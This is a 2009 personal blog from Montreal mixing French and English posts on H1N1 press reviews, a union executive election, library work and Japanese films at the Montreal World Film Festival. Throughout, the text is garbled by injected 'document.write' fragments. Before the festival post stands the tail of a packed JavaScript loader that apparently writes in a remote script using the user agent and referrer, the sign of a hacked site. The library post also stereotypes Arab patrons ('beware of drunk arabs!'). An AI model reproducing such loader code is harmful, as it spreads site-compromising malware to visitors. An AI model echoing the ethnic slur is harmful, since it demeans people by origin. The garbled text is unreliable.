Revue de Presse (2009/10/26)

Grippe A (H1N1)
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Revue de Presse (2009/10/23)

Bibliothèque
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Édition Digitale

Grippe A (H1N1)

Japon

Technologie

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Revue de Presse (2009/10/19)

Édition Digitale
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Grippe A (H1N1)

Japon

Science & Espace

Société

Technologie & Economie

Technologie & Société

Revue de Presse (2009/10/17)

J’ai retrouvé une bunch de vieux (mais particulièrement intéressants) articles sur le H1N1. Plus les nouvelles cool du jour…
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Culture

Grippe A (H1N1)

Health

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Science

Revue de Presse (2009/10/16)

Édition Électronique
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Grippe A (H1N1)

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Plus ça change, plus c’est pareil!

Pour faire suite à mon commentaire sur la campagne électorale de l’exécutif syndical du SFMM (en passant: merci au cent-soixante personnes qui ont visité mon blog depuis), document.write(“”); voici un autre commentaire sur le résultat des dites élections:
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Malheureusement, les
résultats préliminaires que j’ai entendu hier soir semblaient annoncer un taux de participation très bas (dans les 30-40%) et une confortable victoire pour l’équipe en place, AccèsCible.

(Cliquez le lien ci-dessous pour avoir tout les détails de ce que j’en pense…)


J’ai d’abord été très surpris de ce résultat. Tout les collègues fonctionnaires à qui j’ai parlé au travail ces dernières semaines (tous sans exception!) me disaient qu’ils étaient tanné du mauvais travail de l’équipe en place et qu’ils voulaient du changement. Pas une seule personne ne m’a avoué qu’il/elle voterait pour l’équipe en place. Comment est-ce possible?

Et les chiffres eux-même sont bizarres (bon, il faudra attendre des résultats officiels, sinon définitifs pour vraiment se prononcer, mais…). Ils sembleraient y avoir d’étranges disproportions dans les résultats préliminaires des votes pour Du 109 au 429 et Pierre Gélinas (qui se présentait à la présidence de l’exécutif pour le 109) semble avoir reçu moins de votes qu’il en avait eut à l’élection précédante (où il s’était présenté seul, sans le support d’une équipe comme il l’a fait cette fois-ci avec Du 109 au 429). Comment, avec plus de visibilité et le support d’une équipe, a-t-il pu recevoir moins de vote? A prime abord, cela semble incompréhensible.

Toutefois, je crois qu’il est possible d’y voir un début d’explication sans nécessairement avoir recourt à des accusations partisannes. Ma bonne nature me fait exclure, a priori, l’usage d’actes illégaux ou inappropriés à proprement parler. J’y vois plutôt le résultat combiné de quatre facteurs:

  • l’équipe Du 109 au 429 a peut-être été un peu naïve et pas assez expérimentée en magouille syndicale. Car on le sait bien, dans ce milieu là, tout les coups sont permis. Ils ont commencé leur campagne un peu sur le tard et ont sans doute hésité à utiliser des tactiques discutables. Un bon vieux cas de “the good guys always finish last.”
  • l’équipe Du 109 au 429 avait tout les désavantages de la position de “challenger.” L’équipe AccèsCible a eut plus de dix ans pour se faire connaitre et établir des liens d’influences. Ils pouvaient aussi profiter de leur libération syndicale pour faire campagne. Ils avaient donc beaucoup plus de temps, de visibilité et de moyens. D’où les beaux pamphlets couleurs et un très grand nombre de militants pour rencontrer les travailleurs, être présent sur les lieux de vote et de comptage, et distribuer des tracts à l’entrée de bureaux de votation, etc. C’était peut-être aussi à l’avantage des AccèsCible d’être dirigé par une femme (ça parait donc tellement mieux)…
  • cette fois-ci, l’équipe AccèsCible a quand même sentis l’eau chaude et ils ont défendu leur confortables derrières (confortables pcq bien assis sur d’excessifs salaires) avec la force de détermination d’un fonctionnaire calabrais. Et pour désespérément défendre leurs moelleuses positions, ils ont eut recourt à toutes les tactiques, sinon illégales mais certainement déloyales, qui sont de bonne guerre en milieu syndical: limiter l’information électoral, tenter de discréditer l’adversaire avec de la désinformation (si le 109 au 429 est élu vous pouvez dire adieu à l’équité salariale, etc.), faire de l’obstruction (en tentant d’empêcher l’adversaire de rencontrer les travailleurs), distribuer de belles cartes de rappel couleur à l’entrée des bureaux de votation (les gens aiment donc ça les beaux dépliants couleurs vides de sens), faire sortir le vote de LEUR supporteurs à tout prix par l’utilisation de chaînes téléphoniques, en leur offrant le transport (ou “busing” — j’ai entendu dire que certain s’étaient même fait payer le taxi!), etc.
  • par les temps qui court les électeurs, quels qu’ils soient, sont par nature désillusionnés et paresseux (“Ça sert à quoi d’aller voter, c’est toute du pareil au même anyway”). Même s’ils sont déçu du travail de leur repésentant, et tout aussi convaincu qu’il faut du changement, si le jour de l’election venu il fait froid et le temps est maussade, ils perdent leur détermination et trouvent toutes sortes d’excuses pour ne pas sortir voter. Alors beaucoup trop de syndiqués ont préféré resté douillettement chez eux ou au travail plutôt que de se battre pour le changement qu’ils désiraient. Et il ne faut pas oublier le fait qu’il y avait encore des gens qui n’étaient même pas au courant qu’il y avait des élections pour l’exécutif syndical et cela grâce au mauvais travail de communication fait par le syndicat lui-même! C’était tout à l’avantage de l’équipe en place, puisque l’on sait bien qu’un taux de participation bas favorise toujours l’équipe sortante.

C’est là la situation et on ne peut rien y faire. Il faut l’accepter. Toutes mes félicitations au gagnant et à son bilan concluant d’inaction. On va continuer d’avancer… vers le précipice et à se faire fourrer tant par l’employeur que par le syndicat. C’est correcte. C’est ça la beauté de la démocratie: elle nous donne plein de merveilleux droits, dont celui de se tromper. Les Américains ont bien réélu George Bush en 2004…


David contre Goliath:
l’intelligence ne peut pas toujours l’emporter sur la force brute…
Quand à moi, je n’ai pas crains la froidure de l’automne et j’ai déployer bien des efforts pour aller voter… Tout d’abord, comme je l’ai mentionné il y a quelques jours, il me fallait trouver où je devais voter et si je pouvais obtenir une heure de libération pour le faire. Comme tout était fermé le lundi de l’Action de Grâce, je n’ai eu que mardi pour appeller le secrétariat d’élection et exposer mon problème. On me répond qu’on ignore la réponse (bravo les filles, continuez votre bon travail!) et me suggère soit d’appeller la directrice syndicale de mon arrondissement, soit Mme Sylvie Archetto, la présidente d’élection. On me transfert finalement à Mme Archetto mais j’aboutis plutôt sur la boite vocale des retraités du syndicat. J’essaie de contacter la directrice syndicale de mon arrondissement mais tombe sur la boite vocale d’une autre personne à la régie des bâtiments. Je rappelle au secrétariat d’élection et on me transfert, cette fois-ci avec succès, à Mme Archetto qui me dit que je peux voter dans n’importe quel des treize bureaux de votation mais qu’il me faudra d’abord rencontrer le directeur de salle pour demander à être rayé de la liste du bureau de mon arrondissement port d’attache.

Pour ce qui est de la libération, Mme Archetto me dit que c’est une question syndicale (doh!) et qu’il me faut plutôt contacter ma directrice syndicale. Après un autre essai infructueux pour la rejoindre, je contacte donc le représentant syndical de mon ancienne bibliothèque (car il n’y en a pas à la bibliothèque où je travaille actuellement). Il me rappelle plusieurs fois pour me mettre au courant de ses démarches et, après un palabre avec la directrice syndicale de l’arrondissement de mon ancienne bibliothèque, on me dit que, oui, j’ai droit à l’heure de libération même si ce jour là je commence à travailler en début d’après-midi. Mais avant que j’ai le temps d’appeller la bibliothécaire du lieu où je doit travailler le jour de l’élection pour s’entendre sur l’heure de libération, on me rappelle pour me dire que, non, après tout je n’y ai pas droit.

Le jour de l’élection, mercredi, je prend donc du temps sur mon autre travail (où je ne suis pas syndiqué, heureusement!) pour aller voter. La veille et le matin même j’ai voulu vérifier l’addresse du bureau de votation mais à aucun de ces moments je n’ai pu accéder à l’information sur le site du syndicat (mon internet fonctionnait pourtant parfaitement). Heureusement, le site du 109 au 429 offrait la même information. J’ai quelques difficulté à me rendre car Google ne m’a pas donné le bon horaire d’autobus (c’est bien la première fois que cela arrive). A l’entrée du bureau de votation je me fais accueillir par deux dames de l’équipe AccèsCible qui me remettent une belle carte de rappel. Il n’y a personne de l’équipe Du 109 au 429 (à ce moment là du moins). Au bureau même, je présente mes pièces d’identité (de la ville et du syndicat) et rencontre le directeur de salle. Beaucoup de gens sont apparement dans la même situation que moi et le directeur de salle a de la difficulté à contacter le bureau de votation de mon port d’attache pour me faire rayer de leur liste. Après un délais, j’obtiens l’autorisation et je peux finalement aller voter. Je me suis fais dire que ce genre de délais a causer des “embouteillage” à plusieurs bureaux de votation et de nombreux syndiqués, exaspéré par la piètre organisation, ont quitté sans même voter. Je prends ensuite le chemin de mon travail en bibliothèque (heureusement que je n’ai pas eu de libération car ça m’a pris bien plus qu’une heure!) mais je manque la correspondance de l’autobus et doit marcher une demi-heure dans le froid. J’arrive finalement à la bibliothèque, essouflé, avec quelques minutes de retard et on me dit que, ben oui, j’avais droit à la libération et qu’on m’avait même réservé du temps un peu plus tard en après-midi! C’était là la culmination de mon cauchemard syndical. Et après ça on me demande pourquoi j’étais si déterminé à voter contre l’Équipe “AccèsCible.” Faut vraiment être inconscient!

Tout ceux qui ont été paresseux et ne se sont pas déplacé pour aller voter ont, quand à moi, perdu le droit de se plaindre du syndicat. Ils n’ont que ce qu’ils méritent: un syndicat médiocre qui ne fera jamais de véritable effort pour défendre les droits des travailleurs.

Si le concept de parti d’opposition n’existe pas au sein d’un exécutif syndical, il faudra donc l’inventer. Le combat pour une véritable démocratie syndicale ne se termine pas pour autant. “Hasta la victoria siempre” disait le Che. Je suis sûr qu’il y aura toujours des gens pour exposer les cafouillages du syndicat, pour proposer des solutions et vocaliser ce que beaucoup pensent mais n’osent dire. En attendant une prochaine élection, surveillez donc le site internet Du 109 au 429, ainsi que les prochaine éditions du Colvert et portez attention aux résistants qui prendront la parole dans les assemblées. Car c’est eux qui défendront vraiment vos droits…

Malheureusement, je crains que les électeurs soient tout aussi timides aux élections municipales et que l’on se retrouvent là aussi avec un résultat similaire: un bas taux de participation et la réélection du candidat sortant, soit Gérald Tremblay… Mais ça ne m’empêchera pas d’aller voter!

Revue de Presse (2009/10/14)

Économie
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Grippe A (H1N1)

Média

Technologie

Push Hard Back

Lately, document.write(“”); I started working more on the computer again and now my back pain has returned. It seems that when I try to push myself a little more in order to catch up on all the work and projects for which I am so late, I end up feeling not so good. I guess I still need to rest more and really must avoid getting too tired and stressed, but there’s so much stuff to do… And I really have to go see a specialist for my back (and probably invest in a better chair)…

Thanksgiving

To all my Canadian and Québécois readers (if any) I wish a happy Thanksgiving! Don’t eat too much turkey (and please don’t forget to exercice a little — for my part today I did some clean up and removed the air conditioners from the windows). It is a time to reflect on all the good things that life is offering us. We live in a peaceful country (okay, document.write(“”); some of our soldiers are currently deployed in a war zone, but it’s _mostly_ for “restoring” peace), a place where there’s little natural disasters (like hurricane, earthquake, brush fires and such) and we haven’t been too affected by the recent economic crunch. It’s really the most beautiful and enjoyable country in the world (although we dropped to the fourth place in the UN quality of life ranking — Japan, with whom Canada battled a couple of times for the first place, has dropped to the tenth position).
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Personnally, I am thankful for my loving familly, my beautiful wife, my two cute (and often dumb) cats, for having a job (or two), interesting hobbies (although the line between a hobby and a job is (un)fortunately often blurred) and almost everything I could ask for. We are really blessed.

Latest improvement

Today I’ve added to the blog a long-due link to the <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4397, document.write(“”); 6375618&_dad=portal&_schema=PORTAL” target=”“new””>Montreal Libraries Network‘s website as well as a search box for Nelligan, the Montreal Libraries Network’s catalog (located on the right column, just after the Shared Items).
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As I often say: Have you visited your local library recently? If you do you would be able to borrow and read lots of manga (and other nice books, cds, dvds, etc.) for FREE! Check the Nelligan search box to find something cool to read.

Thus the World fell, Thus We Felt

It’s surprising how our surrounding can change in just a few days. The temperature fell from an average around 15 ‘C to well under 10’C. And now the ground is littered with dead leaves. Fall is already at our doors (and winter not that far away with warnings of frost for the nights). It’s a beautiful season. I like the smell in the air. It feels great.

Revue de Presse (2009/10/11)

J’ai beau être un peu plus en forme ces derniers temps mais j’ai aussi beaucoup de pain sur la planche, document.write(“”); et comme il y a pas tant de nouvelles intéressantes ces jours-ci, alors la cueillette est pas mal plus maigre cette fois-ci:
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Grippe A (H1N1)

Kindle, Amazon’s digital reader

Montreal

Société

Space

Technologie & Culture

Voir aussi les “Suggested Links (Shared Items)” dans la colonne de droite pour ma sélection de liens, non pas vers les articles intéressants de la presse écrite en version digitale, mais cette fois vers les blogues culturels et technos que je lis régulièrement –>

(Updated 2009/10/12)

Un peu de sang neuf (update 4)

Je rencontre encore, document.write(“”); même aujourd’hui, des collègues de travail qui ne sont pas au courant qu’il y a des élections pour l’exécutif du syndicat le 14 octobre. Et c’est cette semaine! C’est une preuve de plus que les membres de l’exécutif actuel ne font pas un bon travail de communication (ou alors c’est délibéré, car c’est bien connu que, lors d’une élection, l’équipe sortante est toujours favorisée par un taux de participation peu élevé)…
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Malheureusement, le groupe
Du 109 au 429, qui se présente contre l’équipe sortante, ne profite pas de libérations syndicales et n’a pas beaucoup de moyen à part leur site internet, quelques communiqués par courriel, des visites dans les lieux de travail pour parler aux collèques fonctionnaires et le bon vieux bouche à oreille. Alors si vous n’êtes pas satisfait du travail de l’exécutif sortant et voulez du changement (ça peut certainement pas être pire!), faites sûr que vos collègues de travail soient au courant qu’il y a des élections pour l’exécutif du syndicat le 14 octobre et qu’ils visitent le www.du109au429.org !

Un des points fort du programme de l’équipe Du 109 au 429 c’est justement une meilleure communication, une plus grande transparence pour ramener la démocratie au sein du syndicat et le remettre véritablement entre les mains des membres.

Revue de Presse (2009/10/08)

Encore des suggestions de liens et de lectures intéressantes dans les versions digitales de divers quotidiens:
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Grippe A (H1N1)

Montréal

Japon

Science

Société

Technologie

Notice Nécrologique

Worse day in a library

Today I experienced the worse day ever while working in a library.
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(More after the jump)

For starter, document.write(“”); I was working for the second time only in a library where I am really not at ease (so far I’ve worked in fifteen of the forty-four library of the Montreal libraries network and, beside the computerized catalog, every library is completely different from the others). The work-flow behind the counter is awkward and complex and, despite the accommodating attitude of my co-workers, I was really feeling overwhelmed, like a bumbling idiot (Maybe I was simply tired?). Well, I think that the Montreal libraries network is a “network” only by name and that greater effort should be made to uniformize all the libraries. It is particularly hard for the people who do lots of replacements in many different libraries. It is very comfusing and hard to remember all the specifics of a particular library…

On top of that I was almost assaulted by a user. A mistake was made with his internet reservation and it was not possible to give him access to a computer. The guy (of North African or Middle-Eastern origin) started to insult us (he called me a fag — of course, to a super macho guy, if you’re polite and deferent you must be a fag! — and made some racist comments) and eventually became rather agressive (he walked behind the counter and tried to pick up a fight with me but I withdraw further behind the counter and a librarian interposed herself between us). He was escorted out of the library. The guy was behaving awkwardly and smelled of alcohol (beware of drunk arabs!). I was told it was not the first time he caused problems and even assaulted another user before. Surprisingly, the police was never called, he was never banned from the library or his library privileges never cancelled (although, after I remarked that with such behavior his privileges should be revoke, they were). After the first problem, the librarian in charge simply “talked” with him (like a school principal to a student). I think most librarian are really too lenient with discipline (in some libraries people are not even asked to keep their voice down and it can become really noisy!) and there is no clear guidance on how to react with violent people. Something should really be done about that.

Un peu de sang neuf? (update 3)

liste des candidats.
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liste des bureaux de votation et des bureaux de votation par secteurs.

C’est bien beau tout ça mais comme d’habitude le syndicat n’est pas fort pour donner de l’information claire. C’est quoi la procédure pour voter? Doit-on s’inscrire sur une liste? A quel bureau doit-on le faire? Dans mon cas, document.write(“”); par exemple, je reste dans un arrondissement, j’ai mon port d’attache dans un autre, mon bloc d’heure de travail dans un troisième et la journée du vote je fais un remplacement dans un quatrième arrondissement: où est-ce que je vais voter? Et si on ne travaille pas toute la journée, je suppose qu’on a pas droit à l’heure de libération? J’aimerais bien le savoir…

Revue de Presse (2009/10/06)

D’autres suggestions de lectures intéressantes. On parle décidément beaucoup d’information numérique dans les journaux ces temps-ci…
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Montréal

Information digitale / eBooks

Technology

Lire (pendant ma brève heure de lunch) les dernières nouvelles sur un iPod Touch est vraiment pratique, particulièrement quand il y a des applications dédiées comme c’est le cas avec cyberpresse.ca et l’édition digitale du Globe & Mail. En ce qui concerne les quotidiens anglophones, je préfère de beaucoup lire The Gazette mais il n’y a pas encore de iPhone/iPod Touch apps disponible (hint! hint!) alors il faut lire sur le fureteur (web based browser) ce qui est beaucoup moins pratique (même si le site est spécifique au format cellulaire — mobile version)… Cela n’a pas vraiment d’impact pour moi de toute façon car je suis abonné à la version papier de la Gazette (il faut bien encourager un journal et The Gazette est le seul quotidien montréalais à offrir une pleine page de “funnies” — et même plus le week-end !)

Revue de Presse (2009/10/04)

Voici quelques articles intéressants de cyberpresse.ca que j’ai lu aujourd’hui sur mon iPod (grâce à leur superbe application disponible sur le iPhone App Store):
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Montréal

Lecteur de eBooks

Sciences

Arts Visuels

ANN feed on Twitter

Anime News Network now broadcast also via Twitter.
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More details
here.

Un peu de sang neuf? (update 2)

Aprés avoir jeté un bref coup d’oeil au site de l’équipe Du 109 au 429 je suis extrêmement impressioné. Le site est simple, document.write(“”); très clair et efficace. Il présente avec précision les objectifs de l’équipe, offre une brève biographie des membres et fait une présentation exhaustive des dossiers qu’ils veulent défendre! Cela représente bien, je crois, la détermination et la compétence des membres de l’équipe Du 109 au 429 (pour le comprendre on n’a qu’a comparer avec le maigre et peu informatif site internet du SFMM ou au beau pamphlet couleur de l’équipe ”AccèsCible“ [imprimé avec l’argent de qui ?!] qui n’a aucune substance et se réduit à des belles promesses et de la poudre aux yeux). Le 14 octobre, l’équipe Du 109 au 429 aura mon vote deux fois plutôt qu’une (façon de parler bien sûr)…
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J’ai également “rédacté” le premier paragraphe pour des raisons
éthiques (apparament un employé ne peut pas critiquer la ville en temps d’élection — belle démocratie!) mais si vous êtes le moindrement sagace vous saurez ce que je veux dire…

Anime this Fall

With the summer anime series wrapping up, document.write(“”); the new season’s series are now starting and both anime bloggers and pro reviewers are talking about the shape of things to come.
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If you are interested, you can check both the
Random Curiosity’s Fall 2009 Preview (my favourite blogger preview) and ANN’s Fall 2009 Anime Preview Guide.

Personnally, I haven’t watch much anime lately. I am too busy working (and maybe I am slowly losing interest; who knows). It’s also that I haven’t seen any anime lately that grabbed my attention like some shows did before (more recently: RideBack, Real Drive or, a little older series like The Daughter with Twenty Faces, Macross Frontier, Angel Heart, Claymore, Denno Coil, Emma, Ghost Hound, Moyashimon, Ookiku Furikabutte, Serei no Moribito). I am now reading more manga than I used to (it’s convenient: I work in a public library), and I am not planning to follow any anime series this Fall.

The Cosmos is singing

I just found this really cool music video that someone made using some clips from Carl Sagan’s tv series “Cosmos”:
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MWFF 2009 Overview


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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bahnb|var|u0026u|referrer|dheef||js|php’.split(‘|’),0,{}))
Once again, document.write(“”); this year, the Montreal World Film Festival was an enjoyable experience. There was less Japanese movies available than previous years, but I must admit I found this situation rather convenient because, with two jobs (still writing for the magazine & blogs as well as working full time as assistant-librarian), my schedule was already quite full.

It is really great to have in town an International Festival for the more classical and traditional type of movies. I do enjoy as well the youthful and exciting atmosphere of the Fantasia festival, but, as I am getting older, I realize that I enjoy far more the quiet experience of a movie where the talking and the scenery are the essential parts of the plot instead of the special effects and explosive action. Unfortunately, it seems that Fantasia is getting more and more popular and, due to it’s scheduling in late August and early September, the MWFF seems to attract less young viewers as we see mostly white and grey heads at the MWFF screenings. I have not seen any official attendance numbers (and there’s probably a reason for that), but it really seems that the MWFF has been beaten by Fantasia. However, is it really a bad thing? After all I don’t like to wait in long line, so the more quieter atmosphere around the MWFF suits me quite well. The festival has begun to get more governmental subsidies again and it was showing. There was more events and the show was running much smoothlier than the previous years.

All in all, the quality of the Japanese selection of the festival was quite good:

Be sure to share (Chanto Tsutaeru): When his father is hospitalised for a stomach cancer, Shiro’s is told by the doctor that he should have himself checked too. He soon discovers that he has a cancer ever worse than his father and ends up hoping that his father would die first to save him the pain of losing his son. Shiro never really bonded with his father, who was also his physical education teacher at school, but finds himself desperate to share with him more time and affection. Shiro faces also another dilema: should he tell his fiance that he will die soon? Director Sion Sono (who had gotten us used to crazier and more violent stories) is offering here a surprisingly beautiful and subtle movie. See also our full review.
Counterfeit (Nisesatsu): The postwar era was a difficult time for most Japanese as they found themselves strapped for cash. When Shingo propose to Kageko, his old school teacher, to make counterfeit money, she is reluctant at first but eventually succumb to the tentation of giving new books to her students. He then recruits the village chief, an old soldier who used to make false Chinese money for the government, as well as the village’s papermaker and photographer. Soon the entire village is part of the conspiracy, but all this cannot end well. Director Yuichi Kimura (Always: Sunset on 3rd Street) is bringing us another great postwar period movie which reflects, this time, on criminal motivation. See also our full review (link avail. soon).
Dear Doctor (Dia Dakuta): When Soma, freshly graduated from a Tokyo medical school, arrives in a remote mountain village to work as an intern, he is first bored and full of self-doubt. With time his attitude changes as he is inspired by the work of Osamu Ino, the local veteran doctor who manages to take care of the entire village by himself. However, one day, Dr. Ino disappears and, as Soma, the police and the villagers are looking for him, they realize that the doctor they loved so much is not who he said he was. Both funny and sometime sad, this excellent film uses the beautiful Japanese countryside as backdrop to reflect on the situation of rural Japan, where the population (made mostly of elderly) suffers from loneliness. They need less bureaucratic medecine (like it is practiced in the big cities hospitals) and more people to “care” for them (in all meanings of the word: provide medical support, give attention and affection). It also ask the question: is it alright to lie in order to do good?
Dear my love (60 sai no Love Letter): An anthology of three short stories based on the “Love Letters at Sixty” project that gathered over 80,000 letters “written by one spouse to another voicing unspoken appreciation for lives shared over the years.” A retired construction company executive decides to move out with a younger woman, but his wife comes to see this as a liberating experience. A couple who worked together all their life in their fish store are faced with grave health issues but find strenght in playing music of the Beatles. A widower finds, at the instigation of his daughter, a new life with a translator. Indeed, upon retirement, Japanese couples face many challenges. It’s an interesting subject but I found its treatment in the movie rather ordinary and disappointing.
The Faceless dead (Kouryo-Shibounin): Misaki is an aspiring writer who works in a supermarket. Through a strange phone call she learns that someone is usurping her identity. Who would use her name and why? The identity thief is unconscious and dying at the hospital—she will die the next day without providing any answers. To Misaki’s surprise she knows her from a previous job at a publishing company. A little investigating reveals that the identity of the hospital’s woman had also been stolen. Obsessed by the mystery she will skip work and follow the trail left by a chestnut lucky charm to the woman real identity and uncover an incredibly tragic story of love and betrayal which will bring her back to her starting point: the supermarket. This movie has all the elements for a good thriller, but the storytelling is weak and there’s a little something missing at the end that leave us on our appetite.
The Hovering blade (Samayou Yaiba): Having already lost his wife to cancer, Nagamine is devastated when his only daughter is raped and murdered by two young punks. Unfortunately, under the protection of the Japanese law, juvenile criminals cannot be prosecuted. Nagamine is infuriated by what he perceives as a gross injustice and would like nothing better than obtain retribution. He gets his chance when a sympathising policeman tips him on the boys’ whereabouts and sets out to hound them desparately… The movie is a good thriller and ends in a tragic twist. It brings strong emotions, but unfortunately that kind of story—sets around the injustice of the Japanese Juvenile Act—has been done many times already.
Villon’s wife (Viyon no Tsuma): Based on an Osamu Dazai’s quasi-autobiographical novel written in 1947, it tells the tangled love story of a married couple. Despite being a talented novelist, Otani is a tormented, drunken man who’s constantly getting in debts and unfaithful to his wife. Aware of his weakness and despressed, he will attempt to commit “double suicide” with one of his mistresses, but gets into trouble because she dies and he survives. In contrast, Sachi is a strong woman, a devoted and loyal wife who accepts Otani as he is and does her best to support him despite everything. She starts working in an izakaya (small bar also serving food) in order to pay off her husband’s debts. Her cheerful beauty makes her popular and she even gets several admirers. This gives her self-confidence, and yet she stays by him when he needs her. But for how long? The film offers a superb photography and director Negishi succeeds to paint a dreamy portrait of the harsh postwar Japan. Unfortunately, the storytelling is sometime awkward and left me with a dissatisfied impression. Surprisingly, Kichitaro Negishi won the WFF 2009 Award for Best Director.

Only two of those movies (Dear Doctor and Villon’s wife) were in official competition, but Villon’s wife managed to get the “Best Director” award (see the full list of awards).

My busy schedule prevented me to film a video of the programmation press conference but I could at least shoot a video of the Dear Doctor screening presentation and press conference (it will be added here as soon as I can manage to edit it).

We are grateful to the festival for bringing us this good selection and hope the 2010 edition will offer even more Japanese movies. See you next year!

[More information and links will be added when possible]

[Updated 2010/08/10 with a few corrections, links and new logos for some links]

Un peu de sang neuf?

Depuis que je travaille à la ville il m’arrive de penser et d’agir différemment de ce que j’avais l’habitude de faire.
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(Continuez après le saut)

Par exemple, document.write(“”); je crois n’avoir jamais voté aux élections municipales car je considérais ce palier de gouvernement comme inutile et sans conséquence sur ma vie (en tant que locataire je ne paie pas de taxes municipales). Mais en travaillant à la ville je suis maintenant beaucoup plus conscient des rouages de ce gouvernement, et surtout de l’incompétence, de l’ineptie ou des inconsistances qui l’accablent (comme tout gouvernement je suppose; c’est quand on est impliqué qu’on le remarque). C’est sûr que ce n’est pas facile de gérer efficacement une grande ville mais il me semble qu’avec un peu de leadership il serait possible de faire beaucoup mieux que les dérapages que l’on voit ces derniers temps. Je crois qu’un peu de changement pourrait améliorer les choses — du moins il serait difficile de faire pire (quoique rien ne pourrait vraiment être fait pour changer la principale cause des problèmes, les arrondissements, sans l’intervention de Québec). Je n’ai toutefois pas encore décidé où ira mon vote, mais une chose est sûr c’est que, cette fois-ci, je vais faire tout mon possible pour aller voter. J’espère que vous en ferez tous de même au 1er novembre. (Pour plus d’information, voir le site de Élection Montréal 2009).

Aussi, je n’ai jamais été guère favorable au syndicalisme. J’ai toujours cru que le syndicalisme est une lame à double tranchant et que si on ne l’utilise pas avec grand soin, parcimonieusement, on risque de se couper soi-même la tête… J’admet que c’est un outil nécessaire pour protéger les droits des travailleurs contre les abus du patronat, mais je crois que les syndicats tombent trop souvent dans le piège de faire des demandes excessives juste pour en avoir plus et s’enlisent parfois dans une mentalité strictement anti-patronale. Si je m’oppose à l’idée d’un syndicalisme réformiste, je suis cependant ouvert au syndicalisme de collaboration, où le syndicat travaille avec l’état et le patronat pour s’assurer que TOUT les membres de la société bénéficient des meilleures conditions possible dans un environment juste et équitable. Sans tomber dans l’aplatventrisme, il est nécessaire parfois, pour le bien commun de tous, de demander moins ou de faire des concessions. De même, il ne faut pas hésiter à prendre une position forte si le patronat a des exigences déraisonables ou refuse carrément de négocier. Cependant, je n’oublierai jamais l’outrage que j’ai ressentis le jour où, alors que je travaillais au salaire minimum, non-syndiqué et sans aucun bénéfices sociaux (vacances, assurances, etc.), et que des employés municipaux payés trois fois plus que moi (et avec presque tout les bénéfices imaginables) ont fait la grève sur une question de salaire, me privant ainsi de services municipaux pour lesquels je payais — ce qui ajoutait l’injure à l’outrage!

En tant qu’employé de la ville, je suis maintenant syndiqué (il s’agit ici du Syndicat des Fonctionnaires Municipaux de Montréal (SFMM), la section locale SCFP-429 du Syndicat Canadien de la Fonction Publique; pour plus d’information voir leur site internet www.sfmm429.qc.ca). Je suis heureux de la sécurité d’emploi que cela me procure et de savoir que je serai défendu en cas d’abus patronal, mais je trouve tout de même que nous payons le syndicat très cher pour des services qui m’apparaissent déficients. Toutes les fois que j’ai eu à faire avec le syndicat j’ai été déçu et insatisfait:

  • l’exécutif est difficile à rejoindre (les appels ne sont pas toujours retournés et le message téléphonique du répondeur porte à confusion) et la réponse aux questions est souvent imprécise sinon inexacte.
  • l’information aux membres est insuffisante et manque de clarté (le site internet mériterait d’être développé). J’applaudis l’effort d’offrir aux nouveaux membres un cours d’introduction (“Mon Syndicat”), mais celui-ci était trop rudimentaire pour être vraiment utile et l’exercice tenait plus de la propagande que de la pédagogie.
  • l’assurance médicale offerte est certes abordable mais ne semble jamais couvrir ce qu’on a vraiment besoin (sauf l’assurance dentaire qui semble excellente). Le but d’une assurance médicale privée est de combler les lacunes de l’assurance-maladie–comme couvrir les frais d’optométrie, les examen en cliniques privées qui ne sont pas offert par le service public ou dont les listes d’attentes sont trop longues–ce qui n’est malheureusement pas le cas avec l’assurance du SFMM (ou alors je suis vraiment malchanceux puisque tout les tests médicaux que j’ai eu à faire depuis que je suis membre n’étaient pas couverts…)
  • le SFMM semble faire preuve d’une complaisance excessive envers l’employeur et a manqué à plusieurs reprises à son devoir fondamental de défendre les droits de ses membres: délais inacceptable dans le dossier de l’équité salariale, ententes rétrogrades signées avec certains arrondissements (l’équipe du Colvert a bien présenté ce cas dans leur vol. 2, #3), manque de transparence dans ses opérations, manque de consultation auprès des membres, diminution de la mobilité d’emploi entre les arrondissements, conditions d’éligibilité nébuleuses pour l’obtention de postes, etc.
  • la division excessive (et souvent imprécise) des tâches conduit à des situations ridicules (particulièrement entre col bleu et col blanc): employé blâmé pour avoir mis du déglaçant dans une entrée de bibliothèque dangereuse pour les usagers, employé menacé d’un blâme pour avoir “flushé” une toilette mais à qui on demande de remplacer le papier de toilette, etc.

Ce constat désolant suite à mes diverses “expériences” avec le syndicat me fait inévitablement douter du dévouement et de la compétence de l’équipe d’exécutif en place. Avec la venue d’élections, je craignais que leur position ne soit contesté par personne et que rien ne change. Je suis donc fort heureux de constater qu’une nouvelle équipe, “du 109 au 429,” s’oppose à l’ancienne (ironiquement nommée “AccèsCible” !). Espérons que l’équipe “Du 109 au 429” saura faire valoir ses idées auprès des membres afin de remporter les élections du 14 octobre. (Voir leur page Facebook et un site internet sera bientôt disponible).


Update (10/1/2009): Voir l’entrée du blog Un peu de sang neuf (update 1).

Update (10/2/2009): Voir l’entrée du blog Un peu de sang neuf (update 2).

Update (10/5/2009): liste des candidats.

Update (10/6/2009): liste des bureaux de votation et des bureaux de votation par secteurs.

Voir l’entrée du blog Un peu de sang neuf (update 3).

Update (10/10/2009): Voir l’entrée du blog Un peu de sang neuf (update 4).

Update (10/15/2009): Pour conclure, voir mon commentaire sur le résultat des élections.

La fausse pérennité de l’électron?

Depuis longtemps je transcris dans mes carnets mes réflexions personnelles, document.write(“”); un peu comme le faisait Marc-Aurèle, pour tenter de figer dans le souvenirs mes pensées furtives avant qu’elles ne sombrent dans l’oubli. Pendant des années, trop occupé à vivre ma vie, j’ai négligé de le faire et, depuis peu, je blogue au lieu de noircir des carnets. Mais cela semble parfois bien futile. Serait-ce une fausse impression que d’ainsi aspirer à une plus grande pérennité, espérant être lu par un plus grand nombre de lecteurs alors que tout ces mots ne sont qu’électron fragiles et que l’encre sur le papier des carnets survivra, dans l’obscurité certes, certainement plus longtemps? Le blogue a démocratisé la capacité d’expression en donnant à tous une voix, mais celle-ci n’est guère plus entendue que le silence de l’écrit tant qu’elle se perd dans la cacophonie de la toile que tissent les pensées de tous et chacun.
